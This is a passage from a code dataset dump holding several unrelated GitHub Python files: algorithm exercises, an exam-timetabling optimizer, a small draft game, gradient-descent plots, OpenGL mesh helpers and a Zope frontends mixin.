solution(phone_book):\n phone_book = sorted(phone_book, key=lambda x: (x, len(x)))\n for i, phone in enumerate(phone_book[:-1]):\n if phone_book[i+1].startswith(phone):\n return False\n return True\n\ndef solution_hash(phone_book):\n phone_dict = {}\n for phone in phone_book:\n phone_dict[phone] = 1\n for phone in phone_book:\n tmp = \"\"\n for i in phone:\n tmp += i\n if tmp in phone_dict and tmp != phone:\n return False\n return True\n\nprint(solution_hash([\"119\", \"97674223\", \"1195524421\"]))\nprint(solution_hash([\"123\",\"456\",\"789\"]))\nprint(solution_hash([\"12\",\"123\",\"1235\",\"567\",\"88\"]))","repo_name":"chomu97/algorithm","sub_path":"hash/programmers42577.py","file_name":"programmers42577.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70461363346","text":"__author__ = 'CLH'\n\nimport math\n\nclass Solution(object):\n def __init__(self):\n self.ans = []\n self.total_ans = []\n\n def is_palindrome(self,s):\n l = len(s)\n for i in range(math.ceil(l/2)):\n if s[i] != s[l-i-1]:\n return False\n return True\n\n def backtrack(self,s):\n if s == \"\":\n self.total_ans.append(list(self.ans))\n else:\n for i in range(1,len(s)+1):\n if self.is_palindrome(s[0:i]):\n self.ans.append(s[0:i])\n self.backtrack(s[i:])\n self.ans.pop()\n\n\n def partition(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\"\n self.backtrack(s)\n return self.total_ans\n\n\nif __name__ == \"__main__\":\n S = Solution()\n print(S.partition(\"aaab\"))\n","repo_name":"clhchtcjj/Algorithm","sub_path":"backtrack/leetcode 131 Palindrome Partitioning.py","file_name":"leetcode 131 Palindrome Partitioning.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"28696700582","text":"import data as es\r\nimport random\r\nfrom load_solution import load_solution\r\nfrom solve_problem import cost\r\nimport numpy\r\n\r\n\"\"\"\r\nIn this function we optimize the result that we got from the NetowrkX\r\npackage. We itterate through the solution and make some small changes at each\r\nrun. Theese chamges have to do with changing the potition by one or two. And\r\nalso giving some total random exam potition on a random lesson. Theese can be\r\ncombined on whatever level we want.\r\n\r\nWe can choose to make small changes each run or bigger ones.\r\n\r\nEach possible solution is checked by load_problem function and if its correct\r\nwe check if its better or worse than the one we already have. If is better then\r\nits being saved as the best. If its not then the last known best is loaded\r\nagain and we keep making changes on that one.\r\n\r\nWe take care of periods and exams limit of each problem. We do it manually\r\n\r\n\"\"\"\r\n\r\n\r\ndef optimize_problem():\r\n first_solution = 195\r\n\r\n max1 = max(es.optimize_exams.values())\r\n min1 = min(es.optimize_exams.values())\r\n for k in range(0, 1000000): # Run for long time before manually stop it\r\n numberList = [-1, 1, -2, 2, -3, 3] # number of changing a potition.\r\n # it picks randomly\r\n numberList4 = [1, -1]\r\n numberList2 = [1, 2, 3, 4, 5, 6, 7, 8, ]\r\n numberList3 = [-1, -2, -3, -4, -5, -6, -7, -8]\r\n\r\n # Range here differs for each problem\r\n\r\n for i, v in es.optimize_exams.items():\r\n # The next 2 lines can be put outside loop separetely for different\r\n # kind of swaping values\r\n option10, option11, option12 = random.sample(range(0, 32), 3)\r\n option1, option2, option3, option4, option5 = random.sample(range(1, 543), 5)\r\n\r\n if v < max1-2 and v > min1+2:\r\n es.optimize_exams[i] = v+random.choice(numberList)\r\n # es.optimize_exams[option2] = v+random.choice(numberList)\r\n # es.optimize_exams[option3] = v+random.choice(numberList)\r\n es.optimize_exams[option1] = option10\r\n # es.optimize_exams[option4] = option11\r\n # es.optimize_exams[option5] = option12\r\n es.optimize_exams[option4] = v+random.choice(numberList4)\r\n\r\n if v > max1-2: # making sure we dont go over max nodes\r\n es.optimize_exams[i] = v+random.choice(numberList3)\r\n # es.optimize_exams[option1] = option10\r\n if v < min1+2: # making sure we dont go down of 0\r\n es.optimize_exams[i] = v+random.choice(numberList2)\r\n # es.optimize_exams[option4] = option11\r\n\r\n period_exams = {}\r\n for k, v in es.optimize_exams.items():\r\n if v not in period_exams:\r\n period_exams[v] = [k]\r\n else:\r\n period_exams[v].append(k)\r\n\r\n with open('car-f-92.sol2', 'w') as f:\r\n for k, v in es.optimize_exams.items():\r\n f.write('{}\\t{}\\n'.format(k, v))\r\n\r\n b = load_solution('car-f-92.sol2')\r\n if b != 1:\r\n a = cost(period_exams)\r\n # print(a)\r\n if a < first_solution:\r\n first_solution = a\r\n # print(\"BETTER\")\r\n print(\"BETTER!\")\r\n print(first_solution)\r\n # print(\"inputed\")\r\n # print(option1)\r\n # print(option3+i)\r\n es.best = es.optimize_exams\r\n # keys = list(es.best.keys())\r\n # random.shuffle(keys)\r\n # [(key, es.best[key]) for key in keys]\r\n with open('car-f-92.sol', 'w') as f:\r\n for key in period_exams:\r\n for items in period_exams[key]:\r\n f.write('{}\\t{}\\n'.format(items, key))\r\n a1 = list(es.best.items())\r\n numpy.random.shuffle(a1)\r\n es.best = dict(a1)\r\n else:\r\n es.optimize_exams = es.best\r\n a1 = list(es.optimize_exams.items())\r\n numpy.random.shuffle(a1)\r\n es.optimize_exams = dict(a1)\r\n # print(\"else\")\r\n # print(\"inputed\")\r\n # print(option1)\r\n # print(option3+i)\r\n else:\r\n # print(\"1\")\r\n es.optimize_exams = es.best\r\n a1 = list(es.optimize_exams.items())\r\n numpy.random.shuffle(a1)\r\n es.optimize_exams = dict(a1)\r\n # keys = list(es.optimize_exams.keys())\r\n # random.shuffle(keys)\r\n # [(key, es.optimize_exams[key]) for key in keys]\r\n print(\"FINAL\")\r\n print(first_solution)\r\n","repo_name":"stefanosarta/examination-timetabling","sub_path":"optimized/optimize.py","file_name":"optimize.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8304367347","text":"import random\n\nfrom Fortuna import percent_true\n\nfrom base_mortys import *\n\n\ndef get_player_names():\n player_1_name = input(\"Enter your name, player 1: \")\n # build in failsafe against malicious inputs\n player_2_name = input(\"Enter your name, player 2: \")\n if player_1_name and player_2_name:\n print(f\"{player_1_name} is challenged by {player_2_name}!\")\n return player_1_name, player_2_name\n else:\n return \"You must enter names to get started.\"\n # can't trigger this ^ else. Instead errors: ValueError: too many values to unpack (expected 2)\n\n\ndef flip_a_coin(player_1_name, player_2_name):\n if percent_true(50):\n won_coin_flip = player_1_name\n lost_coin_flip = player_2_name\n else:\n won_coin_flip = player_2_name\n lost_coin_flip = player_1_name\n return won_coin_flip, lost_coin_flip\n\n\ndef reveal_coin_toss(player_1_name, player_2_name):\n won_coin_flip, lost_coin_flip = flip_a_coin(player_1_name, player_2_name)\n return (f\"{won_coin_flip} won the coin toss! {won_coin_flip} picks 1st, 4th, 6th, 8th, and 10th. \"\n f\"They will win all speed ties! \\n{lost_coin_flip} will pick 2nd, 3rd, 5th, 7th, and 9th.\",\n won_coin_flip, lost_coin_flip)\n\n\ndef roll_draft_teams():\n random_mortymorty = Morty()\n random_gotron = Gotron()\n random_og_gotron = OGGotron()\n random_s4 = SeasonFour()\n random_cubism = Cubism()\n random_dragon = Dragon()\n random_fan = FanDancer()\n random_wasp = Wasp()\n random_ss = SuperSoldier()\n random_glock = Glockenspiel()\n\n morty_pool = [random_mortymorty, random_gotron, random_og_gotron, random_s4, random_cubism,\n random_dragon, random_fan, random_wasp, random_ss, random_glock]\n random.shuffle(morty_pool)\n draft_pool = zip(range(1, 11), morty_pool)\n\n return draft_pool\n\n\ndef pick_a_morty(won_coin_flip, lost_coin_flip, draft_pool):\n team_a = []\n team_b = []\n pick = input(f\"{won_coin_flip}, pick your first Morty (by number): \")\n if pick == \"1\":\n team_a.append(next(draft_pool))\n # oops, can't slice a zip??\n else:\n print(\"Limited Functionality: Pick #1 for now plz\")\n pick2 = input(f\"{lost_coin_flip}, pick your first Morty (by number): \")\n if pick2 == \"2\":\n team_b.append(next(draft_pool))\n else:\n print(\"Limited Functionality: Pick #2 for now plz\")\n return team_a, team_b\n\n\nif __name__ == '__main__':\n player_1, player_2 = get_player_names()\n results, winner, loser = reveal_coin_toss(player_1, player_2)\n print(results)\n print(\"\\nBehold the Mortys!\")\n roll_the_mortys = roll_draft_teams()\n print(*roll_the_mortys)\n print(pick_a_morty(winner, loser, draft_pool=roll_the_mortys))\n # i'm giving it these ^ as parameters for its inputs\n","repo_name":"woodbenwood/PM_sim","sub_path":"app/shuffle_battle.py","file_name":"shuffle_battle.py","file_ext":"py","file_size_in_byte":2802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33945950379","text":"#Setup\nimport sys\nimport setup\nimport numpy.f2py.capi_maps\nimport sklearn\nimport numpy as np\nimport os\n#%matplotlib inline\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nimport csv\n\nmpl.rc('axes', labelsize=14)\nmpl.rc('xtick', labelsize=12)\nmpl.rc('ytick', labelsize=12)\n# Code BELOW\n\n########################################################################################################\neta=0.1 #defining our learning rate\nnIterations=1000\nm=100\n\nx=2*np.random.rand(100,1)\ny=4+3*x+np.random.rand(100,1)\n\nxb=np.c_[np.ones((100,1)),x] #adds x0=1 to each instance\ntheta=np.random.randn(2,1) #random initialisation\nthetaPathBGD=[]\nfor iteration in range(nIterations):\n gradients =2/m *xb.T.dot(xb.dot(theta)-y)#this is the actual gradient descent\n theta = theta-eta*gradients #this gets the iterative values of theta, this goes around 1000 times as defined\n#theta\n\nxnew=np.array([[0],[2]])#we take the same as in exercise 1\nxnewb=np.c_[np.ones((2,1)),xnew]\nxnewb.dot(theta)\n\n#this is a function that gives the\ndef plotGradientDescent(theta,eta,thetaPath=None,nIerations=1000):\n m=len(xb)\n plt.plot(x,y,'b.')#plot the original dataset to which we're looking to make a model for\n for iteration in range(nIterations):\n if iteration<10:\n yPred=xnewb.dot(theta)\n style=\"b-\" if iteration>0 else \"r--\"\n plt.plot(xnew,yPred,style)\n gradients=2/m*xb.T.dot(xb.dot(theta)-y)\n theta=theta-eta*gradients\n if thetaPath is not None:\n thetaPath.append(theta)\n plt.xlabel(\"$x_1$\",fontsize=18)\n plt.axis([0,2,0,15])\n plt.title(r\"$\\eta={}$\".format(eta),fontsize=16)\n\nnp.random.seed(42)\ntheta=np.random.randn(2,1)#for a random initialisation\nplt.figure(figsize=(10,4))#making a figure\nplt.subplot(131);plotGradientDescent(theta,eta=0.02) #we see that learning rate too small takes many iterations - slow\nplt.ylabel(\"$y$\",rotation=0,fontsize=18)#we only need one y on the LHS to represent all of our figs\nplt.subplot(132);plotGradientDescent(theta,eta=0.1,thetaPath=thetaPathBGD)#just right learning rate, fast but accurate and finds correct \\theta\nplt.subplot(133);plotGradientDescent(theta,eta=0.5)#too high learning rate, line jumps about too much.\nsetup.save_fig(\"Gradient Descent Plot\")#save the plot using the funciton made in setup\nplt.show()\n####################################################################################\n#Stochastic gradient descent\n\nthetaPathSGD=[]\nm=len(xb)\nnp.random.seed(42)\n\nnEpochs=50\nt0,t1=5,50 # Learning Schedule Hyperparameters\ndef learningSchedule(t):\n return t0/(t+t1)\ntheta=np.random.randn(2,1) # random initialisation\n\nfor epoch in range(nEpochs):\n for i in range(m):\n if epoch==0 and i<20:\n yPredict=xnewb.dot(theta)\n style='b-'if i>0 else 'r--' # first iteration make a red dashed line\n plt.plot(xnew,yPredict,style)\n randomIndex = np.random.randint(m)\n xi = xb[randomIndex:randomIndex + 1]\n yi = y[randomIndex:randomIndex + 1]\n gradients=2*xi.T.dot(xi.dot(theta)-yi)\n eta=learningSchedule(epoch*m+i)\n theta=theta-eta*gradients\n thetaPathSGD.append(theta)\n\nplt.plot(x,y,'b.')\nplt.xlabel('$x_1$',fontsize=18)\nplt.ylabel('$y$',rotation=0,fontsize=18)\nplt.axis([0,2,0,15])\nsetup.save_fig(\"Stochastic Gradient Descent\")\nplt.show()\n##############################################################################################\n#\n\nthetaPathMBGD=[]\nnIterations=50\nminiBatchSize=20\nnp.random.seed(42)\ntheta=np.random.randn(2,1)\nt,t0,t1=0,200,1000\n\n## We use the learning scedule function already defined above\n\nfor epoch in range(nIterations):\n shuffledIndices=np.random.permutation(m)\n xbShuffled=xb[shuffledIndices]\n yShuffled=y[shuffledIndices]\n for i in range(0,m,miniBatchSize):\n t+=1\n xi=xbShuffled[i:i+miniBatchSize]\n yi=yShuffled[i:i+miniBatchSize]\n gradients=2/miniBatchSize * xi.T.dot(xi.dot(theta)-yi)\n eta=learningSchedule(t)\n theta=theta-eta*gradients\n thetaPathMBGD.append(theta)\n\n### putting all grad desc. algos together.\n\nthetaPathBGD=np.array(thetaPathBGD)\nthetaPathSGD=np.array(thetaPathSGD)\nthetaPathMBGD=np.array(thetaPathMBGD)\nplt.figure(figsize=(7,4))\nplt.plot(thetaPathSGD[:,0],thetaPathSGD[:,1],'r-s',linewidth=1,label=\"Stochastic\")\nplt.plot(thetaPathMBGD[:,0],thetaPathMBGD[:,1],'b-o',linewidth=1,label=\"Mini-Batch\")\nplt.plot(thetaPathBGD[:,0],thetaPathBGD[:,1],'g-+',linewidth=1,label=\"Batch\")\nplt.legend(loc='upper left',fontsize=12)\nplt.xlabel(r'$\\theta_0$',fontsize=10)\nplt.ylabel(r'$\\theta_1$',fontsize=10,rotation=0)\nplt.axis([2.5,5,2.3,4.5])\nsetup.save_fig('Comparison of Gradient Descent Methods')\nplt.show()\n################################################################################################################\n#Polynomial Regression\n\n\n","repo_name":"Zuddas-S/ACS341","sub_path":"Lab1/Exercise2.py","file_name":"Exercise2.py","file_ext":"py","file_size_in_byte":4910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16154147872","text":"from pyglet import *\nfrom pyglet.gl import *\n\nimport numpy as np\nfrom math import *\nimport ctypes\n'''\nCollection of utility functions for OpenGL pyglet projects\n'''\n\ndef frameBuffer(tex):\n \"\"\" Create a framebuffer object and link it to the given texture \"\"\"\n fbo = GLuint()\n glGenFramebuffers(1, ctypes.byref(fbo))\n glBindFramebuffer(GL_FRAMEBUFFER, fbo)\n glFramebufferTexture2DEXT(GL_FRAMEBUFFER_EXT,\n GL_COLOR_ATTACHMENT0_EXT,\n GL_TEXTURE_2D,\n tex.id,\n 0)\n\n status = glCheckFramebufferStatusEXT(GL_FRAMEBUFFER_EXT)\n assert status == GL_FRAMEBUFFER_COMPLETE_EXT\n glBindFramebuffer(GL_FRAMEBUFFER, 0)\n return fbo\n\n \ndef np2DArrayToImage(array, name=\"figure.png\"):\n \"\"\"\n Plot the numpy array as an intensity chart and save the figure as an image\n \"\"\"\n import matplotlib\n matplotlib.use('wxagg')\n import matplotlib.pyplot as plt\n from matplotlib import cm\n \n fig = plt.figure()\n \n plt.imshow(array, cmap=cm.jet)\n \n plt.savefig(name)\n \ndef np2DArray(initialiser, rows, columns, dtype=np.float32):\n ''' Utility Function for generating numpy arrays '''\n rows = int(rows)\n columns = int(columns)\n return np.array([[initialiser for i in range(columns)] for j in range(rows)]) \n\ndef np3DArray(initialiser, points, rows, columns, dtype=np.float32):\n ''' Utility Function for generating numpy array of vertices '''\n points = int(points)\n rows = int(rows)\n columns = int(columns)\n return np.array([[[initialiser for i in range(points)] \\\n for j in range(columns)] \\\n for k in range(rows)], \\\n dtype=dtype) \n \ndef gaussianRandomVariable():\n import random\n w = 1.0\n x1 = 0.0\n x2 = 0.0\n while(w >= 1.):\n x1 = 2. * random.random() - 1.\n x2 = 2. * random.random() - 1.\n w = x1 * x1 + x2 * x2\n w = sqrt((-2. * log(w)) / w)\n res = complex(x1 * w, x2 * w) \n return res \n\ndef fullscreenQuad():\n '''\n Generate vertices and indices for drawing a fullscreen quad.\n \n The vertices are of the format:\n [v0x, v0y, v0z, t0x, t0y]\n [v1x, v1y, v1z, t1x, t1y]\n ...\n [v7x, v7y, v7z, t7x, t7y]\n \n '''\n \n # The vertices are of the format:\n vertexSize = ctypes.sizeof(GLfloat) * 5\n vertices = (GLfloat * 40)(\n 1.0, -1.0, 0.0, 1.0, 0.0,\n 1.0, 1.0, 0.0, 1.0, 1.0,\n -1.0, 1.0, 0.0, 0.0, 1.0,\n -1.0, -1.0, 0.0, 0.0, 0.0,\n 1.0, -1.0, 0.0, 1.0, 0.0,\n 1.0, 1.0, 0.0, 1.0, 1.0,\n -1.0, 1.0, 0.0, 0.0, 1.0,\n -1.0, -1.0, 0.0, 0.0, 0.0)\n \n indices = (GLshort * 12)(\n 0, 1, 2,\n 2, 3, 0,\n 4, 6, 5,\n 6, 4, 7)\n \n \n return vertices, indices, vertexSize\n \ndef SkyboxVerts():\n '''\n Generate vertices and indices for drawing a skybox\n '''\n vertexSize = ctypes.sizeof(GLfloat) * 3\n vertices = (GLfloat * 24) (\n -1.0, 1.0, 1.0,\n -1.0, -1.0, 1.0,\n 1.0, -1.0, 1.0,\n 1.0, 1.0, 1.0,\n -1.0, 1.0, -1.0,\n -1.0, -1.0, -1.0,\n 1.0, -1.0, -1.0,\n 1.0, 1.0, -1.0)\n \n indices = (GLshort * 24) (\n 0, 1, 2, 3,\n 3, 2, 6, 7,\n 7, 6, 5, 4,\n 4, 5, 1, 0, \n 0, 3, 7, 4, \n 1, 2, 6, 5)\n \n return vertices, indices, vertexSize\n \n \n \ndef Pointfield2D(dimension=64, scale=1.0):\n '''\n Generate vertices for GL_POINT drawing\n \n The vertices are of the format:\n [v0x, v0y, v0z, t0x, t0y]\n [v1x, v1y, v1z, t1x, t1y]\n ...\n [v7x, v7y, v7z, t7x, t7y]\n \n '''\n N = dimension\n \n vertexSize = ctypes.sizeof(GLfloat) * 8 \n vertices = (GLfloat * (N * N * 8))(*range(N * N * 8)) \n \n \n #indices = np2DArray(0, N, N, GLshort)\n \n # Populate the initial positions\n for i in range(N):\n for j in range(N):\n idx = (i * N + j) * 8 \n # # Index\n # indices[i][j] = i * N + j\n # Position X\n vertices[idx] = ((j-N/2.0) * scale) / (N / 2.)\n # Position Y \n vertices[idx + 1] = ((i-N/2.0) * scale) / (N / 2.)\n # Position Z\n vertices[idx + 2] = -1.0\n # Normal X\n vertices[idx] = 0.0\n # Normal Y \n vertices[idx + 1] = 1.0\n # Normal Z\n vertices[idx + 2] = 0.0\n # # Texture X\n vertices[idx + 3] = i/float(N)\n # # Texture Y \n vertices[idx + 4] = j/float(N)\n \n indices = (GLshort * (N * N))(*range(N * N)) \n \n return vertices, indices, vertexSize\n \ndef Mesh2DSurface(dimension=64, scale=1.0):\n '''\n Generate a 2D surface mesh with the given dimensions, scale and offset.\n\n 1 2 3 4 \n +---+---+---+---+ Size in Quads: NxN where N is the dimension\n 1 | | | | | Quad size (world space) = scale\n +---+---+---+---+ \n 2 | | | | | \n +---+---+---+---+ \n 3 | | | | | \n +---+---+---+---+ \n 4 | | | | | \n +---+---+---+---+ \n '''\n N = dimension # Dimension - should be power of 2\n\n N1 = N+1 # Vertex grid has additional row and\n # column for tiling purposes\n \n # Vertex arrays are 3-dimensional have have the following structure:\n # [[[v0x,v0y,v0z,n0x,n0y,n0z],[v1x,v1y,v1z,n1x,n1y,n1z]],\n # [[v2x,v2y,v2z,n2x,n2y,n2z],[v3x,v3y,v3z,n3x,n3y,n3z]],\n # [[v4x,v4y,v4z,n4x,n4y,n4z],[v5x,v5y,v5z,n5x,n5y,n5z]]]\n verts = np3DArray(0.0, 8, N1, N1, GLfloat)\n # Indicies are grouped per quad (6 indices for each quad)\n # The mesh is composed of NxN quads\n indices = np3DArray(0,6,N,N,dtype='u4')\n \n # Initialise the surface mesh\n # Populate the index array\n for i in range(N):\n for j in range(N):\n idx = i * N1 + j\n indices[i][j][0] = idx\n indices[i][j][1] = idx + N1\n indices[i][j][2] = idx + 1\n indices[i][j][3] = idx + 1\n indices[i][j][4] = idx + N1\n indices[i][j][5] = idx + N1 + 1\n \n # Populate the initial positions and normals\n for i in range(N+1):\n for j in range(N+1):\n # Position X\n verts[i][j][0] = j * scale\n # Position Y \n verts[i][j][1] = 0.0\n # Position Z\n verts[i][j][2] = i * scale\n # # Normal X\n verts[i][j][3] = 0.0\n # # Normal Y \n verts[i][j][4] = 1.0\n # # Normal Z\n verts[i][j][5] = 0.0 \n # # Texture X\n verts[i][j][6] = i/float(N)\n # # Texture Y \n verts[i][j][7] = j/float(N) \n return verts, indices","repo_name":"lordmauve/wasabi-peace","sub_path":"bitsofeight/pabennett_ocean/source/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":7396,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"1421335231","text":"# -*- coding: iso-8859-15 -*-\r\n# ============================================================================\r\n#\r\n# M e t a P u b l i s h e r 2\r\n#\r\n# ----------------------------------------------------------------------------\r\n# Copyright (c) 2002-2013, Sebastian Lühnsdorf - Web-Solutions and others\r\n# For more information see the README.txt file or visit www.metapulisher.org\r\n# ----------------------------------------------------------------------------\r\n#\r\n# This software is subject to the provisions of the Zope Public License,\r\n# Version 2.1 (ZPL).\r\n#\r\n# A copy of the ZPL should accompany this distribution.\r\n#\r\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\r\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\r\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\r\n# FOR A PARTICULAR PURPOSE\r\n#\r\n# ============================================================================\r\n\r\n__doc__ = \"\"\"Frontends Component\r\n\r\nAPI and ZMI services for managing Frontends. Frontends store the definition of\r\nthe public interface for the MetaPublisher 2. Once they are rendered, they\r\nprovide a public interface to the functions of the MetaPublisher 2, such as\r\nEntry management. Frontends can be added, edited, deleted, renamed and moved as\r\nwell as retrieved, listed and tested for existence.\r\n\r\n$Id: publisher/frontends/frontends.py 21 2013-05-10 23:04:08Z sfluehnsdorf $\n\"\"\"\r\n\r\n__version__ = '$Revision: 2.3 $'[11:-2]\r\n\r\n\r\n# ============================================================================\r\n# Module Imports\r\n\r\nfrom Products.MetaPublisher2.interfaces import IFrontendPluginBase\r\nfrom Products.MetaPublisher2.library import ClassSecurityInfo, DTMLFile, false, InitializeClass, permission_manage, permission_manage_frontends, show_future, true\r\n\r\n\r\n# ============================================================================\r\n# Module Exports\r\n\r\n__all__ = [\r\n 'Frontends',\r\n]\r\n\r\n\r\n# ============================================================================\r\n# Frontends Component Mix-In Class\r\n\r\nclass Frontends:\r\n \"\"\"!TXT! Frontends Component Mix-In Class\"\"\"\r\n\r\n security = ClassSecurityInfo()\r\n\r\n # ------------------------------------------------------------------------\r\n # Frontend ZMI Forms\r\n\r\n if show_future:\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontends_form')\r\n\r\n frontends_form = DTMLFile('frontends', globals())\r\n\r\n security.declareProtected(permission_manage_frontends, 'add_frontend_form')\r\n\r\n add_frontend_form = DTMLFile('add_frontend', globals())\r\n\r\n security.declareProtected(permission_manage_frontends, 'duplicate_frontends_form')\r\n\r\n duplicate_frontends_form = DTMLFile('duplicate_frontends', globals())\r\n\r\n security.declareProtected(permission_manage_frontends, 'delete_frontends_form')\r\n\r\n delete_frontends_form = DTMLFile('delete_frontends', globals())\r\n\r\n security.declareProtected(permission_manage_frontends, 'edit_frontend_form')\r\n\r\n edit_frontend_form = DTMLFile('edit_frontend', globals())\r\n\r\n security.declareProtected(permission_manage_frontends, 'move_frontends_form')\r\n\r\n move_frontends_form = DTMLFile('move_frontends', globals())\r\n\r\n security.declareProtected(permission_manage_frontends, 'rename_frontends_form')\r\n\r\n rename_frontends_form = DTMLFile('rename_frontends', globals())\r\n\r\n # ------------------------------------------------------------------------\r\n # Frontend Plugins\r\n\r\n security.declareProtected(permission_manage, 'has_frontendplugins')\r\n\r\n def has_frontendplugins(self):\r\n \"\"\"!TXT! Return the specified MetaPublisher2 Frontend plugin\"\"\"\r\n\r\n return self.has_plugins(IFrontendPluginBase)\r\n\r\n security.declareProtected(permission_manage, 'get_frontendplugin')\r\n\r\n def get_frontendplugin(self, frontendplugin_id):\r\n \"\"\"!TXT! Return the specified MetaPublisher2 Frontend plugin\"\"\"\r\n\r\n return self.get_plugin(frontendplugin_id, IFrontendPluginBase)\r\n\r\n security.declareProtected(permission_manage, 'frontendplugin_ids')\r\n\r\n def frontendplugin_ids(self):\r\n \"\"\"!TXT! Return ids of installed MetaPublisher2 Frontend plugins\"\"\"\r\n\r\n return self.plugin_ids(IFrontendPluginBase)\r\n\r\n security.declareProtected(permission_manage, 'frontendplugin_items')\r\n\r\n def frontendplugin_items(self):\r\n \"\"\"!TXT! Return tuples of id, value of installed MetaPublisher2 Frontend plugins\"\"\"\r\n\r\n return self.plugin_items(IFrontendPluginBase)\r\n\r\n security.declareProtected(permission_manage, 'frontendplugin_values')\r\n\r\n def frontendplugin_values(self):\r\n \"\"\"!TXT! Return tuples of id, value of installed MetaPublisher2 Frontend plugins\"\"\"\r\n\r\n return self.plugin_values(IFrontendPluginBase)\r\n\r\n # ------------------------------------------------------------------------\r\n # Frontend Flag Retrieval\r\n\r\n security.declareProtected(permission_manage, 'get_frontendflags')\r\n\r\n def get_frontendflags(self, frontend_path):\r\n \"\"\"!TXT! Return tuples of id, boolean states of all Plugin flags\"\"\"\r\n\r\n frontend = get_frontend(self, frontend_path)\r\n return frontend.get_frontendflags()\r\n\r\n security.declareProtected(permission_manage, 'get_frontendflag_ids')\r\n\r\n def get_frontendflag_ids(self, frontend_path):\r\n \"\"\"!TXT! Return the ids of all Plugin flags\"\"\"\r\n\r\n frontend = get_frontend(self, frontend_path)\r\n return frontend.get_frontendflag_ids()\r\n\r\n security.declareProtected(permission_manage, 'get_frontendflag')\r\n\r\n def get_frontendflag(self, frontend_path, pluginflag_id):\r\n \"\"\"!TXT! Return the boolean state of the specified Frontend flag if it exists, raises KeyError otherwise\"\"\"\r\n\r\n frontend = get_frontend(self, frontend_path)\r\n return frontend.get_pluginflag(pluginflag_id)\r\n\r\n security.declareProtected(permission_manage, 'has_frontendflag')\r\n\r\n def has_frontendflag(self, frontend_path, pluginflag_id):\r\n \"\"\"!TXT! Return True if the Frontend flag exists, False otherwise\"\"\"\r\n\r\n frontend = get_frontend(self, frontend_path)\r\n return frontend.has_pluginflag(pluginflag_id)\r\n\r\n # -------------------------------------------------------------\r\n # Frontends Retrieval API\r\n\r\n def _traverse_frontend_path(self, path):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n path_object = self.frontends\r\n if path:\r\n for id in path.split('/'):\r\n path_object = path_object._getOb(id)\r\n return path_object\r\n\r\n security.declareProtected(permission_manage_frontends, 'has_frontends')\r\n\r\n def has_frontends(self):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n return self.frontend_paths() and true or false\r\n\r\n security.declareProtected(permission_manage_frontends, 'has_frontend')\r\n\r\n def has_frontend(self, path):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n try:\r\n self._traverse_frontend_path(path)\r\n return true\r\n except:\r\n return false\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontendpath_paths')\r\n\r\n def frontendpath_paths(self):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n return map(lambda item: item[0], self.frontendpath_items())\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontendpath_items')\r\n\r\n def frontendpath_items(self):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n paths = []\r\n paths_append = paths.append\r\n for path, frontend in self.frontend_items():\r\n if getattr(frontend, 'isPrincipiaFolderish', None) and not IPluginBase.providedBy(frontend):\r\n paths_append((path, frontend))\r\n return paths\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontendpath_values')\r\n\r\n def frontendpath_values(self):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n return map(lambda item: item[1], self.frontendpath_items())\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontend_paths')\r\n\r\n def frontend_paths(self, path=None, recursive=true):\r\n \"\"\"!TXT! Return the paths of Frontends.\"\"\"\r\n\r\n return map(lambda item: item[0], self.frontend_items(path, recursive))\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontend_items')\r\n\r\n def frontend_items(self, path=None, recursive=true):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n def sort_items(x, y):\r\n return cmp(x[0], y[0])\r\n\r\n result = []\r\n result_append = result.append\r\n base = self._traverse_frontend_path(path)\r\n top = self.frontends\r\n prefix_len = len(top.absolute_url()) + 1\r\n frontends = top.objectValues()\r\n while frontends:\r\n frontend = frontends.pop()\r\n if not IFrontendPluginBase.providedBy(frontend):\r\n frontends = frontends + list(frontend.objectValues())\r\n if not IWidgetPluginBase.providedBy(frontend):\r\n result_append((frontend.absolute_url()[prefix_len:], frontend))\r\n result.sort(sort_items)\r\n return result\r\n\r\n security.declareProtected(permission_manage_frontends, 'frontend_values')\r\n\r\n def frontend_values(self, path=None, recursive=true):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n return map(lambda item: item[1], self.frontend_items(path, recursive))\r\n\r\n security.declareProtected(permission_manage_frontends, 'get_frontend')\r\n\r\n def get_frontend(self, path):\r\n \"\"\"!TXT!\"\"\"\r\n\r\n return self._traverse_frontend_path(path)\r\n\r\n security.declareProtected(permission_manage_frontends, 'get_frontend_path')\r\n\r\n def get_frontend_path(self, frontend):\r\n \"\"\"!TXT! get frontend object's path\"\"\"\r\n\r\n # TODO frontends.py - implement get_frontend_path\r\n\r\n raise NotImplemented\r\n\r\n security.declareProtected(permission_manage_frontends, 'get_frontend_parent')\r\n\r\n def get_frontend_parent(self, frontend):\r\n \"\"\"!TXT! Return the specified Frontend's parent 